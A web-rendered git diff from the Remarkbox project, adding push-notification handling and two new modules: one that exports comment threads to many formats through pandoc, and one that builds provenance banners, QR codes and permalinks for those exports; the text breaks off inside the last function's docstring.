if deliver_email_notifications and notification.method == "email":
|
if deliver_email_notifications and notification.method == "email":
|
||||||
|
if user_pref in ("email", "both"):
|
||||||
send_template_email(
|
send_template_email(
|
||||||
request,
|
request,
|
||||||
notification.user.email,
|
notification.user.email,
|
||||||
|
|
@ -195,9 +297,14 @@ def send_immediate_notifications(request, notifications):
|
||||||
"subject": subject,
|
"subject": subject,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
|
# Send push notification if the user wants push (or both).
|
||||||
|
_send_push_for_notification(request, notification, root, namespace)
|
||||||
|
|
||||||
log.info(
|
log.info(
|
||||||
"notification frequency=immediately email={}, count={}".format(
|
"notification frequency=immediately user={} ({}), count={}".format(
|
||||||
notification.user.email,
|
notification.user.name,
|
||||||
|
notification.user_id,
|
||||||
notification.id,
|
notification.id,
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
@ -210,10 +317,14 @@ def group_notifications_by_root(notifications):
|
||||||
"""
|
"""
|
||||||
group notifications by root node, where the key is
|
group notifications by root node, where the key is
|
||||||
the root node and the value is a list of notification objects.
|
the root node and the value is a list of notification objects.
|
||||||
|
Skips orphaned notifications (where node_event is None).
|
||||||
"""
|
"""
|
||||||
groups = defaultdict(list)
|
groups = defaultdict(list)
|
||||||
for notification in notifications:
|
for notification in notifications:
|
||||||
|
if notification.node_event is not None:
|
||||||
groups[notification.node_event.node.root].append(notification)
|
groups[notification.node_event.node.root].append(notification)
|
||||||
|
else:
|
||||||
|
log.warning(f"Skipping orphaned notification {notification.id} in group_notifications_by_root")
|
||||||
return groups
|
return groups
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -248,9 +359,10 @@ def send_digest_notifications(request, notification_dict, frequency="daily"):
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
log.info(
|
log.info(
|
||||||
"notification frequency={} email={}, count={}".format(
|
"notification frequency={} user={} ({}), count={}".format(
|
||||||
frequency,
|
frequency,
|
||||||
recipient_email,
|
user.name,
|
||||||
|
user_id,
|
||||||
notifications_count,
|
notifications_count,
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
|
||||||
499
remarkbox/lib/pandoc.py
Normal file
|
|
@ -0,0 +1,499 @@
|
||||||
|
"""Pandoc integration for remarkbox.
|
||||||
|
|
||||||
|
Converts node trees to documents in any format pandoc supports.
|
||||||
|
Subprocess-based — no pip dependencies.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
import tempfile
|
||||||
|
import os
|
||||||
|
from functools import lru_cache
|
||||||
|
|
||||||
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Formats that produce binary output (need file-based output, not stdout text).
|
||||||
|
BINARY_FORMATS = frozenset({
|
||||||
|
"pdf", "docx", "odt", "epub", "epub2", "epub3", "pptx", "fb2",
|
||||||
|
})
|
||||||
|
|
||||||
|
# Formats we generate by default for namespace/thread-level export.
|
||||||
|
DEFAULT_FORMATS = [
|
||||||
|
"markdown", "gfm", "commonmark", "html5", "rst",
|
||||||
|
"mediawiki", "latex", "man", "plain", "rtf",
|
||||||
|
"asciidoc", "textile", "org", "json",
|
||||||
|
"epub", "docx", "odt", "pdf",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Content types for HTTP responses.
|
||||||
|
CONTENT_TYPES = {
|
||||||
|
"markdown": "text/markdown; charset=utf-8",
|
||||||
|
"gfm": "text/markdown; charset=utf-8",
|
||||||
|
"commonmark": "text/markdown; charset=utf-8",
|
||||||
|
"commonmark_x": "text/markdown; charset=utf-8",
|
||||||
|
"html": "text/html; charset=utf-8",
|
||||||
|
"html5": "text/html; charset=utf-8",
|
||||||
|
"html4": "text/html; charset=utf-8",
|
||||||
|
"rst": "text/x-rst; charset=utf-8",
|
||||||
|
"latex": "application/x-latex; charset=utf-8",
|
||||||
|
"beamer": "application/x-latex; charset=utf-8",
|
||||||
|
"man": "text/troff; charset=utf-8",
|
||||||
|
"plain": "text/plain; charset=utf-8",
|
||||||
|
"json": "application/json; charset=utf-8",
|
||||||
|
"mediawiki": "text/plain; charset=utf-8",
|
||||||
|
"asciidoc": "text/plain; charset=utf-8",
|
||||||
|
"asciidoctor": "text/plain; charset=utf-8",
|
||||||
|
"textile": "text/plain; charset=utf-8",
|
||||||
|
"org": "text/plain; charset=utf-8",
|
||||||
|
"rtf": "application/rtf",
|
||||||
|
"docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
|
||||||
|
"odt": "application/vnd.oasis.opendocument.text",
|
||||||
|
"epub": "application/epub+zip",
|
||||||
|
"epub2": "application/epub+zip",
|
||||||
|
"epub3": "application/epub+zip",
|
||||||
|
"pdf": "application/pdf",
|
||||||
|
"pptx": "application/vnd.openxmlformats-officedocument.presentationml.presentation",
|
||||||
|
"fb2": "application/xml",
|
||||||
|
"jira": "text/plain; charset=utf-8",
|
||||||
|
"dokuwiki": "text/plain; charset=utf-8",
|
||||||
|
"xwiki": "text/plain; charset=utf-8",
|
||||||
|
"zimwiki": "text/plain; charset=utf-8",
|
||||||
|
"typst": "text/plain; charset=utf-8",
|
||||||
|
"context": "text/plain; charset=utf-8",
|
||||||
|
"texinfo": "text/plain; charset=utf-8",
|
||||||
|
"opml": "application/xml; charset=utf-8",
|
||||||
|
"tei": "application/xml; charset=utf-8",
|
||||||
|
"docbook": "application/xml; charset=utf-8",
|
||||||
|
"docbook5": "application/xml; charset=utf-8",
|
||||||
|
"icml": "application/xml; charset=utf-8",
|
||||||
|
}
|
||||||
|
|
||||||
|
# File extensions for download filenames.
|
||||||
|
FILE_EXTENSIONS = {
|
||||||
|
"markdown": ".md",
|
||||||
|
"gfm": ".md",
|
||||||
|
"commonmark": ".md",
|
||||||
|
"commonmark_x": ".md",
|
||||||
|
"html": ".html",
|
||||||
|
"html5": ".html",
|
||||||
|
"html4": ".html",
|
||||||
|
"rst": ".rst",
|
||||||
|
"latex": ".tex",
|
||||||
|
"beamer": ".tex",
|
||||||
|
"man": ".1",
|
||||||
|
"plain": ".txt",
|
||||||
|
"json": ".json",
|
||||||
|
"mediawiki": ".wiki",
|
||||||
|
"asciidoc": ".adoc",
|
||||||
|
"asciidoctor": ".adoc",
|
||||||
|
"textile": ".textile",
|
||||||
|
"org": ".org",
|
||||||
|
"rtf": ".rtf",
|
||||||
|
"docx": ".docx",
|
||||||
|
"odt": ".odt",
|
||||||
|
"epub": ".epub",
|
||||||
|
"epub2": ".epub",
|
||||||
|
"epub3": ".epub",
|
||||||
|
"pdf": ".pdf",
|
||||||
|
"pptx": ".pptx",
|
||||||
|
"fb2": ".fb2",
|
||||||
|
"jira": ".jira",
|
||||||
|
"dokuwiki": ".txt",
|
||||||
|
"xwiki": ".txt",
|
||||||
|
"zimwiki": ".txt",
|
||||||
|
"typst": ".typ",
|
||||||
|
"context": ".tex",
|
||||||
|
"texinfo": ".texi",
|
||||||
|
"opml": ".opml",
|
||||||
|
"tei": ".xml",
|
||||||
|
"docbook": ".xml",
|
||||||
|
"docbook5": ".xml",
|
||||||
|
"icml": ".icml",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# URL extension → pandoc format name. Lets users hit intuitive extensions
|
||||||
|
# (`thread.md`, `thread.html`, `thread.tex`) instead of pandoc's internal
|
||||||
|
# names (`markdown`, `html5`, `latex`).
|
||||||
|
EXTENSION_ALIASES = {
|
||||||
|
"md": "markdown",
|
||||||
|
"markdown": "markdown",
|
||||||
|
"htm": "html5",
|
||||||
|
"html": "html5",
|
||||||
|
"tex": "latex",
|
||||||
|
"txt": "plain",
|
||||||
|
"1": "man",
|
||||||
|
"wiki": "mediawiki",
|
||||||
|
"adoc": "asciidoc",
|
||||||
|
"asciidoc": "asciidoc",
|
||||||
|
"rst": "rst",
|
||||||
|
"org": "org",
|
||||||
|
"rtf": "rtf",
|
||||||
|
"docx": "docx",
|
||||||
|
"odt": "odt",
|
||||||
|
"epub": "epub3",
|
||||||
|
"pdf": "pdf",
|
||||||
|
"pptx": "pptx",
|
||||||
|
"fb2": "fb2",
|
||||||
|
"jira": "jira",
|
||||||
|
"typ": "typst",
|
||||||
|
"texi": "texinfo",
|
||||||
|
"opml": "opml",
|
||||||
|
"icml": "icml",
|
||||||
|
"json": "json",
|
||||||
|
"xml": "docbook5",
|
||||||
|
"ipynb": "ipynb",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def resolve_format(ext):
|
||||||
|
"""Map a URL extension (lowercase) to its pandoc format name.
|
||||||
|
|
||||||
|
Falls back to the raw extension so pandoc's own format names
|
||||||
|
(`commonmark_x`, `docbook5`, etc.) pass through unchanged.
|
||||||
|
"""
|
||||||
|
ext = ext.lower()
|
||||||
|
return EXTENSION_ALIASES.get(ext, ext)
|
||||||
|
|
||||||
|
|
||||||
|
# 30s — generous on cold-start contended runners (xdist N-worker fan-out).
|
||||||
|
# The result is cached, so this cost gets paid at most once per process.
|
||||||
|
_FORMAT_QUERY_TIMEOUT = 30
|
||||||
|
|
||||||
|
|
||||||
|
@lru_cache(maxsize=1)
|
||||||
|
def get_available_output_formats():
|
||||||
|
"""Return the set of output formats pandoc supports on this system.
|
||||||
|
|
||||||
|
Result cached per process — pandoc's format list is static for a given
|
||||||
|
binary, so subsequent callers (and parallel pytest workers each in their
|
||||||
|
own Python process) skip the subprocess entirely after first call.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
["pandoc", "--list-output-formats"],
|
||||||
|
capture_output=True, text=True, timeout=_FORMAT_QUERY_TIMEOUT,
|
||||||
|
)
|
||||||
|
return frozenset(result.stdout.strip().split("\n"))
|
||||||
|
except Exception:
|
||||||
|
log.exception("Failed to query pandoc output formats")
|
||||||
|
return frozenset()
|
||||||
|
|
||||||
|
|
||||||
|
@lru_cache(maxsize=1)
|
||||||
|
def get_available_input_formats():
|
||||||
|
"""Return the set of input formats pandoc supports on this system.
|
||||||
|
|
||||||
|
Result cached per process — see get_available_output_formats() above.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
["pandoc", "--list-input-formats"],
|
||||||
|
capture_output=True, text=True, timeout=_FORMAT_QUERY_TIMEOUT,
|
||||||
|
)
|
||||||
|
return frozenset(result.stdout.strip().split("\n"))
|
||||||
|
except Exception:
|
||||||
|
log.exception("Failed to query pandoc input formats")
|
||||||
|
return frozenset()
|
||||||
|
|
||||||
|
|
||||||
|
def convert(source, from_format="markdown", to_format="html5", title=None, standalone=True):
|
||||||
|
"""Convert source text from one format to another via pandoc.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
source: Input text.
|
||||||
|
from_format: Pandoc input format name.
|
||||||
|
to_format: Pandoc output format name.
|
||||||
|
title: Optional document title (sets pandoc metadata).
|
||||||
|
standalone: Pass --standalone to pandoc (full document). Set False
|
||||||
|
for body fragments — required when storing HTML in data_html.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bytes for binary formats (pdf, docx, etc.), str for text formats.
|
||||||
|
|
||||||
|
Raises:
|
||||||
|
subprocess.CalledProcessError on pandoc failure.
|
||||||
|
ValueError if format is not supported.
|
||||||
|
"""
|
||||||
|
is_binary = to_format in BINARY_FORMATS
|
||||||
|
|
||||||
|
cmd = ["pandoc", "-f", from_format, "-t", to_format]
|
||||||
|
if standalone:
|
||||||
|
cmd.append("--standalone")
|
||||||
|
|
||||||
|
if title:
|
||||||
|
# For HTML-family outputs (and PDF, which we render through HTML via
|
||||||
|
# wkhtmltopdf), set the template's pagetitle so we get <title> without
|
||||||
|
# an extra title-block in the body — the rendered document already
|
||||||
|
# carries its own H1 from the thread data. For every other format,
|
||||||
|
# set the proper document metadata.
|
||||||
|
if to_format in ("html", "html5", "html4", "chunkedhtml", "pdf"):
|
||||||
|
cmd.extend(["-V", "pagetitle={}".format(title)])
|
||||||
|
else:
|
||||||
|
cmd.extend(["--metadata", "title={}".format(title)])
|
||||||
|
|
||||||
|
# PDF needs explicit engine since no pdflatex. Tighten margins —
|
||||||
|
# wkhtmltopdf defaults to ~25mm top which leaves a half-page of empty
|
||||||
|
# space above content. 12mm/15mm is enough to look printed without
|
||||||
|
# wasting paper.
|
||||||
|
#
|
||||||
|
# Pandoc's --standalone HTML5 template applies `max-width: 36em` and
|
||||||
|
# `padding: 50px` to body, centering content in a narrow column on
|
||||||
|
# any size paper. We want content to fill the page (minus wkhtmltopdf
|
||||||
|
# margins) so we override that CSS via header-includes.
|
||||||
|
if to_format == "pdf":
|
||||||
|
cmd.extend([
|
||||||
|
"--pdf-engine=wkhtmltopdf",
|
||||||
|
"-V", "margin-top=12mm",
|
||||||
|
"-V", "margin-bottom=12mm",
|
||||||
|
"-V", "margin-left=15mm",
|
||||||
|
"-V", "margin-right=15mm",
|
||||||
|
"-V", "header-includes=<style>html,body{max-width:none!important;padding:0!important;margin:0!important;}</style>",
|
||||||
|
])
|
||||||
|
|
||||||
|
if is_binary:
|
||||||
|
# Binary formats need file output.
|
||||||
|
with tempfile.NamedTemporaryFile(
|
||||||
|
suffix=FILE_EXTENSIONS.get(to_format, ""), delete=False
|
||||||
|
) as tmp:
|
||||||
|
tmp_path = tmp.name
|
||||||
|
|
||||||
|
try:
|
||||||
|
cmd.extend(["-o", tmp_path])
|
||||||
|
subprocess.run(
|
||||||
|
cmd, input=source, text=True,
|
||||||
|
capture_output=True, timeout=60, check=True,
|
||||||
|
)
|
||||||
|
with open(tmp_path, "rb") as f:
|
||||||
|
return f.read()
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
os.unlink(tmp_path)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
result = subprocess.run(
|
||||||
|
cmd, input=source, text=True,
|
||||||
|
capture_output=True, timeout=30, check=True,
|
||||||
|
)
|
||||||
|
return result.stdout
|
||||||
|
|
||||||
|
|
||||||
|
def _node_data_as_markdown(node):
|
||||||
|
"""Return node content rendered as markdown.
|
||||||
|
|
||||||
|
The canonical rendered form of a node is node.data_html — produced at
|
||||||
|
write time regardless of what source syntax the author used (markdown,
|
||||||
|
rst, mediawiki, latex, html...). Converting HTML → markdown always
|
||||||
|
yields real markdown, and sidesteps bugs where a node's source_format
|
||||||
|
label disagrees with the actual bytes stored in node.data (observed
|
||||||
|
in the wild: RST content labelled source_format="markdown").
|
||||||
|
|
||||||
|
Falls back to raw node.data if data_html is absent or the conversion
|
||||||
|
fails — better a rough dump than an empty export.
|
||||||
|
"""
|
||||||
|
html = getattr(node, "data_html", None)
|
||||||
|
if html:
|
||||||
|
try:
|
||||||
|
return convert(
|
||||||
|
html, from_format="html", to_format="markdown",
|
||||||
|
standalone=False,
|
||||||
|
).rstrip()
|
||||||
|
except Exception:
|
||||||
|
log.exception(
|
||||||
|
"Pandoc failed converting node %s data_html to markdown; "
|
||||||
|
"falling back to raw source",
|
||||||
|
node.id,
|
||||||
|
)
|
||||||
|
return (node.data or "")
|
||||||
|
|
||||||
|
|
||||||
|
def node_tree_to_markdown(root_node, nodes, include_root=True, provenance=None):
|
||||||
|
"""Render a node tree as a nested markdown document.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
root_node: The root Node object.
|
||||||
|
nodes: Iterable of all Node objects in the tree (flat, any order).
|
||||||
|
include_root: Whether to include the root node content.
|
||||||
|
provenance: Optional dict from `provenance.build(...)` — when present,
|
||||||
|
the document is wrapped in a header banner + QR code, with each
|
||||||
|
reply heading hyperlinking its date to the canonical permalink,
|
||||||
|
and a footer repeating the source URI.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Markdown string with the full tree rendered as a document.
|
||||||
|
"""
|
||||||
|
from remarkbox.lib import provenance as prov
|
||||||
|
|
||||||
|
# Build lookup: parent_id -> sorted children
|
||||||
|
children_map = {}
|
||||||
|
node_map = {}
|
||||||
|
for node in nodes:
|
||||||
|
node_map[node.id] = node
|
||||||
|
pid = node.parent_id
|
||||||
|
if pid not in children_map:
|
||||||
|
children_map[pid] = []
|
||||||
|
children_map[pid].append(node)
|
||||||
|
|
||||||
|
# Include root in the map
|
||||||
|
if include_root and root_node.id not in node_map:
|
||||||
|
node_map[root_node.id] = root_node
|
||||||
|
|
||||||
|
# Sort children by created timestamp
|
||||||
|
for pid in children_map:
|
||||||
|
children_map[pid].sort(key=lambda n: n.created)
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
|
||||||
|
if provenance:
|
||||||
|
lines.append(prov.header_md(
|
||||||
|
canonical_uri=provenance["canonical_uri"],
|
||||||
|
snapshot_iso=provenance["snapshot_iso"],
|
||||||
|
version=provenance["version"],
|
||||||
|
qr_data_uri=provenance.get("qr_data_uri"),
|
||||||
|
kind=provenance.get("kind", "thread"),
|
||||||
|
))
|
||||||
|
|
||||||
|
# Thread bodies already carry their own H1 (or RST ==== underline that
|
||||||
|
# becomes H1 after conversion). Don't prepend another `# {title}` — it
|
||||||
|
# triples the title when pandoc then also adds a title-block in HTML/PDF.
|
||||||
|
if include_root and root_node.data:
|
||||||
|
lines.append(_node_data_as_markdown(root_node))
|
||||||
|
lines.append("")
|
||||||
|
|
||||||
|
def _render_children(parent_id, depth):
|
||||||
|
for child in children_map.get(parent_id, []):
|
||||||
|
if child.disabled:
|
||||||
|
continue
|
||||||
|
# Heading level based on depth (h2 for first-level replies, etc.)
|
||||||
|
heading_level = min(depth + 2, 6)
|
||||||
|
author = _get_author_name(child)
|
||||||
|
date = child.created_date or ""
|
||||||
|
permalink = (
|
||||||
|
prov.permalink_for_node(child, host=provenance.get("host"))
|
||||||
|
if provenance else None
|
||||||
|
)
|
||||||
|
lines.append(prov.reply_heading_md(
|
||||||
|
heading_level, author, date, permalink=permalink,
|
||||||
|
))
|
||||||
|
lines.append("")
|
||||||
|
if child.data:
|
||||||
|
lines.append(_node_data_as_markdown(child))
|
||||||
|
lines.append("")
|
||||||
|
_render_children(child.id, depth + 1)
|
||||||
|
|
||||||
|
_render_children(root_node.id, 0)
|
||||||
|
|
||||||
|
if provenance:
|
||||||
|
lines.append(prov.footer_md(
|
||||||
|
canonical_uri=provenance["canonical_uri"],
|
||||||
|
snapshot_iso=provenance["snapshot_iso"],
|
||||||
|
version=provenance["version"],
|
||||||
|
))
|
||||||
|
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def namespace_to_markdown(namespace, roots, node_fetcher, provenance=None):
|
||||||
|
"""Render an entire namespace as a markdown book.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
namespace: The Namespace object.
|
||||||
|
roots: Iterable of root Node objects (chapters).
|
||||||
|
node_fetcher: Callable(root_node) -> list of all nodes in that tree.
|
||||||
|
provenance: Optional dict from `provenance.build(...)` — when present,
|
||||||
|
wraps the book with a header banner + QR pointing at the namespace
|
||||||
|
index, hyperlinks every chapter title to the live thread, and
|
||||||
|
hyperlinks every reply date to the live permalink.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Markdown string with the full namespace as a document.
|
||||||
|
"""
|
||||||
|
from remarkbox.lib import provenance as prov
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
|
||||||
|
if provenance:
|
||||||
|
lines.append(prov.header_md(
|
||||||
|
canonical_uri=provenance["canonical_uri"],
|
||||||
|
snapshot_iso=provenance["snapshot_iso"],
|
||||||
|
version=provenance["version"],
|
||||||
|
qr_data_uri=provenance.get("qr_data_uri"),
|
||||||
|
kind=provenance.get("kind", "namespace"),
|
||||||
|
))
|
||||||
|
|
||||||
|
# Book title
|
||||||
|
title = namespace.description or namespace.name
|
||||||
|
lines.append("# {}".format(title))
|
||||||
|
lines.append("")
|
||||||
|
|
||||||
|
for root in roots:
|
||||||
|
if root.disabled:
|
||||||
|
continue
|
||||||
|
# Chapter heading — hyperlink to the live thread when provenance is on
|
||||||
|
chapter_title = root.title or str(root.id)
|
||||||
|
if provenance:
|
||||||
|
lines.append("## [{}]({})".format(
|
||||||
|
chapter_title,
|
||||||
|
prov.canonical_uri_for_node(root, host=provenance.get("host")),
|
||||||
|
))
|
||||||
|
else:
|
||||||
|
lines.append("## {}".format(chapter_title))
|
||||||
|
lines.append("")
|
||||||
|
if root.data:
|
||||||
|
lines.append(_node_data_as_markdown(root))
|
||||||
|
lines.append("")
|
||||||
|
|
||||||
|
# Fetch all nodes in this thread
|
||||||
|
thread_nodes = node_fetcher(root)
|
||||||
|
|
||||||
|
# Build children map for this thread
|
||||||
|
children_map = {}
|
||||||
|
for node in thread_nodes:
|
||||||
|
pid = node.parent_id
|
||||||
|
if pid not in children_map:
|
||||||
|
children_map[pid] = []
|
||||||
|
children_map[pid].append(node)
|
||||||
|
|
||||||
|
for pid in children_map:
|
||||||
|
children_map[pid].sort(key=lambda n: n.created)
|
||||||
|
|
||||||
|
def _render(parent_id, depth):
|
||||||
|
for child in children_map.get(parent_id, []):
|
||||||
|
if child.disabled:
|
||||||
|
continue
|
||||||
|
heading_level = min(depth + 3, 6)
|
||||||
|
author = _get_author_name(child)
|
||||||
|
date = child.created_date or ""
|
||||||
|
permalink = (
|
||||||
|
prov.permalink_for_node(child, host=provenance.get("host"))
|
||||||
|
if provenance else None
|
||||||
|
)
|
||||||
|
lines.append(prov.reply_heading_md(
|
||||||
|
heading_level, author, date, permalink=permalink,
|
||||||
|
))
|
||||||
|
lines.append("")
|
||||||
|
if child.data:
|
||||||
|
lines.append(_node_data_as_markdown(child))
|
||||||
|
lines.append("")
|
||||||
|
_render(child.id, depth + 1)
|
||||||
|
|
||||||
|
_render(root.id, 0)
|
||||||
|
|
||||||
|
if provenance:
|
||||||
|
lines.append(prov.footer_md(
|
||||||
|
canonical_uri=provenance["canonical_uri"],
|
||||||
|
snapshot_iso=provenance["snapshot_iso"],
|
||||||
|
version=provenance["version"],
|
||||||
|
))
|
||||||
|
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def _get_author_name(node):
|
||||||
|
"""Extract display name from a node's user or surrogate."""
|
||||||
|
if node.user:
|
||||||
|
return node.user.name
|
||||||
|
if node.user_surrogate:
|
||||||
|
return node.user_surrogate.name
|
||||||
|
return "Anonymous"
|
||||||
182
remarkbox/lib/provenance.py
Normal file
|
|
@ -0,0 +1,182 @@
|
||||||
|
"""Provenance for exported documents.
|
||||||
|
|
||||||
|
Every exported snapshot (PDF, EPUB, DOCX, HTML, plain markdown, ...) carries:
|
||||||
|
- a top banner with canonical source URI, snapshot timestamp, generator version
|
||||||
|
- a QR code linking back to the living source on Remarkbox
|
||||||
|
- per-reply permalinks (academic citation style — date hyperlinks to anchor)
|
||||||
|
- a footer repeating source URI + commit hash
|
||||||
|
|
||||||
|
A PDF printed today should still resolve to its living wiki source years from
|
||||||
|
now, scannable from paper. Documents are dead the moment they ship; we keep a
|
||||||
|
return path open.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import io
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
|
||||||
|
import segno
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Canonical URIs
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def canonical_uri_for_namespace(namespace, host=None):
|
||||||
|
"""Return the canonical URI of a namespace's living index.
|
||||||
|
|
||||||
|
A namespace's name IS its host (e.g. `meta.remarkbox.com`). If a `host`
|
||||||
|
arg is given (typically `request.host`), prefer it — this preserves
|
||||||
|
user-facing prefixes like `www.` that the namespace's stored name may
|
||||||
|
omit. Falls back to `namespace.name` when no host is supplied.
|
||||||
|
"""
|
||||||
|
return "https://{}/".format(host or namespace.name)
|
||||||
|
|
||||||
|
|
||||||
|
def canonical_uri_for_node(node, host=None):
|
||||||
|
"""Return the canonical URI of a node's living source.
|
||||||
|
|
||||||
|
Uses `host` if given (typically `request.host`), otherwise the
|
||||||
|
namespace's name. Path comes from `node.path` (`/{id}/{slug}` or `/{id}`).
|
||||||
|
"""
|
||||||
|
return "https://{}{}".format(host or node.root.namespace.name, node.path)
|
||||||
|
|
||||||
|
|
||||||
|
def permalink_for_node(node, host=None):
|
||||||
|
"""Return a deep link to a single reply: thread URI plus node-id anchor.
|
||||||
|
|
||||||
|
Replies live inside a thread page, so the deep link is the thread URI with
|
||||||
|
a fragment identifier. `host` overrides the namespace name when supplied.
|
||||||
|
"""
|
||||||
|
root = node.root
|
||||||
|
return "https://{}{}#{}".format(host or root.namespace.name, root.path, node.id)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# QR codes
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def qr_png_data_uri(uri, scale=4, border=2):
|
||||||
|
"""Encode a URI as a PNG QR code wrapped in a data URI.
|
||||||
|
|
||||||
|
PNG (not SVG) because pandoc's downstream renderers — wkhtmltopdf,
|
||||||
|
rsvg-convert paths in DOCX/ODT/EPUB — handle PNG uniformly. A QR code's
|
||||||
|
two-color palette compresses to a few hundred bytes; resolution is fine
|
||||||
|
at print sizes.
|
||||||
|
"""
|
||||||
|
qr = segno.make(uri, error="M")
|
||||||
|
buf = io.BytesIO()
|
||||||
|
qr.save(buf, kind="png", scale=scale, border=border)
|
||||||
|
b64 = base64.b64encode(buf.getvalue()).decode("ascii")
|
||||||
|
return "data:image/png;base64,{}".format(b64)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Markdown blocks
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def _utc_now_iso():
|
||||||
|
"""ISO 8601 UTC timestamp, second precision, with `Z` suffix."""
|
||||||
|
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
|
||||||
|
|
||||||
|
|
||||||
|
def header_md(canonical_uri, snapshot_iso=None, version="dev",
|
||||||
|
qr_data_uri=None, kind="document"):
|
||||||
|
"""Top-of-document provenance banner + QR code.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
canonical_uri: https://... URI of the living source.
|
||||||
|
snapshot_iso: ISO 8601 timestamp; defaults to UTC now.
|
||||||
|
version: Remarkbox build identifier (short git hash).
|
||||||
|
qr_data_uri: Result of `qr_png_data_uri`; if None, no QR rendered.
|
||||||
|
kind: "thread", "namespace", "subthread" — used in the snapshot caption.
|
||||||
|
|
||||||
|
Returns markdown intended to sit at the very top of a document. When a QR
|
||||||
|
is present we lay out text on the left and QR on the right via an HTML
|
||||||
|
table; pandoc converts the table cleanly into HTML, PDF (wkhtmltopdf),
|
||||||
|
DOCX, ODT, EPUB native table cells. Without a QR we fall back to a plain
|
||||||
|
blockquote.
|
||||||
|
"""
|
||||||
|
if snapshot_iso is None:
|
||||||
|
snapshot_iso = _utc_now_iso()
|
||||||
|
|
||||||
|
text_lines = [
|
||||||
|
"> **Source:** [{}]({}) ".format(canonical_uri, canonical_uri),
|
||||||
|
"> **Snapshot:** {} ".format(snapshot_iso),
|
||||||
|
"> **Generator:** Remarkbox `{}` ".format(version),
|
||||||
|
">",
|
||||||
|
"> *This is a {} snapshot. The living document lives at the source URI above — it may have been edited, extended, or replied-to since.*".format(kind),
|
||||||
|
]
|
||||||
|
|
||||||
|
if not qr_data_uri:
|
||||||
|
return "\n".join(text_lines + [""])
|
||||||
|
|
||||||
|
text_block = "\n".join(text_lines)
|
||||||
|
return (
|
||||||
|
'<table class="provenance-header" style="border: 0; border-collapse: collapse; margin: 0 0 16px 0; width: 100%;">\n'
|
||||||
|
'<tr style="border: 0;">\n'
|
||||||
|
'<td style="border: 0; vertical-align: top; padding: 0 24px 0 0;">\n\n'
|
||||||
|
'{text}\n\n'
|
||||||
|
'</td>\n'
|
||||||
|
'<td style="border: 0; vertical-align: top; width: 200px; text-align: right;">\n\n'
|
||||||
|
'\n\n'
|
||||||
|
'</td>\n'
|
||||||
|
'</tr>\n'
|
||||||
|
'</table>\n'
|
||||||
|
).format(text=text_block, qr=qr_data_uri)
|
||||||
|
|
||||||
|
|
||||||
|
def footer_md(canonical_uri, snapshot_iso=None, version="dev"):
|
||||||
|
"""End-of-document provenance footer."""
|
||||||
|
if snapshot_iso is None:
|
||||||
|
snapshot_iso = _utc_now_iso()
|
||||||
|
return "\n".join([
|
||||||
|
"",
|
||||||
|
"---",
|
||||||
|
"",
|
||||||
|
"**Source:** [{}]({}) ".format(canonical_uri, canonical_uri),
|
||||||
|
"**Snapshot:** {} ".format(snapshot_iso),
|
||||||
|
"**Generator:** Remarkbox `{}`".format(version),
|
||||||
|
"",
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def reply_heading_md(level, author, date, permalink=None):
|
||||||
|
"""Render a reply heading with optional permalink hyperlinking the date.
|
||||||
|
|
||||||
|
Hyperlinking the date keeps academic-citation style readable: the visible
|
||||||
|
text is still `Author — date`, the date itself becomes the anchor.
|
||||||
|
"""
|
||||||
|
if permalink:
|
||||||
|
return "{} {} — [{}]({})".format("#" * level, author, date, permalink)
|
||||||
|
return "{} {} — {}".format("#" * level, author, date)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# One-shot bundle (convenience)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
def build(canonical_uri, version, kind="document", include_qr=True, host=None):
|
||||||
|
"""Build a complete provenance bundle in one call.
|
||||||
|
|
||||||
|
`host` (e.g. `request.host`) is stashed in the bundle so the per-reply
|
||||||
|
permalink helpers and chapter-title links can preserve `www.` (or any
|
||||||
|
user-facing host prefix) instead of falling back to `namespace.name`.
|
||||||
|
|
||||||
|
Returns a dict suitable for splatting into `node_tree_to_markdown` or
|
||||||
|
`namespace_to_markdown`.
|
||||||
|
"""
